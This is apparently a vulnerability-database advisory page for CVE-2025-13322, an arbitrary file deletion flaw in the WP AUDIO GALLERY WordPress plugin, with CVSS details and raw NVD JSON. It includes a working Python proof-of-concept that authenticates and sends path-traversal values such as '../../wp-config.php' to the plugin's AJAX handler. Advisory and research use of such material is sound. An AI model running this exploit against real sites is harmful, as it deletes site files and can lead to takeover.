Security Vulnerability Report
中文
CVE-2025-13322 CVSS 8.1 HIGH

CVE-2025-13322

Published: 2025-11-21 08:15:56
Last Modified: 2026-04-15 00:35:42

Description

The WP AUDIO GALLERY plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 2.0. This is due to the `wpag_uploadaudio_callback()` AJAX handler not properly validating user-supplied file paths in the `audio_upload` parameter before passing them to `unlink()`. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when critical files like wp-config.php are deleted.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP AUDIO GALLERY plugin <= 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13322 PoC - WordPress WP AUDIO GALLERY Arbitrary File Deletion # Target: WordPress site with WP AUDIO GALLERY plugin <= 2.0 # Authentication required: Subscriber-level or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_nonce(target_url): """Get WordPress nonce for AJAX requests""" response = requests.get(f"{target_url}/wp-admin/", timeout=10) return response.cookies.get('wordpress_test_cookie') def authenticate(target_url, username, password): """Authenticate to WordPress and get session cookies""" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } session.post(f"{target_url}/wp-login.php", data=login_data) return session def delete_arbitrary_file(session, target_url, file_path): """ Exploit arbitrary file deletion vulnerability file_path: Path to file to delete (can use ../ for path traversal) """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload with path traversal exploit_data = { 'action': 'wpag_uploadaudio', 'audio_upload': file_path # No sanitization - direct path passed to unlink() } response = session.post(ajax_url, data=exploit_data) return response.status_code == 200 def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13322.py <file_to_delete>") print("Example: python cve-2025-13322.py ../../wp-config.php") sys.exit(1) file_to_delete = sys.argv[1] print(f"[*] Authenticating to {TARGET_URL}...") session = authenticate(TARGET_URL, USERNAME, PASSWORD) print(f"[*] Deleting file: {file_to_delete}") if delete_arbitrary_file(session, TARGET_URL, file_to_delete): print(f"[+] File deletion request sent successfully") else: print(f"[-] Exploitation failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13322", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:55.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP AUDIO GALLERY plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 2.0. This is due to the `wpag_uploadaudio_callback()` AJAX handler not properly validating user-supplied file paths in the `audio_upload` parameter before passing them to `unlink()`. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when critical files like wp-config.php are deleted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-audio-gallery/tags/2.0/wp-audio-gallery.php#L150", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-audio-gallery/tags/2.0/wp-audio-gallery.php#L513", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-audio-gallery/tags/2.0/wp-audio-gallery.php#L607", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/101675ae-88cf-42fc-b9ea-5dd37cdf7464?source=cve", "source": "[email protected]"}]}}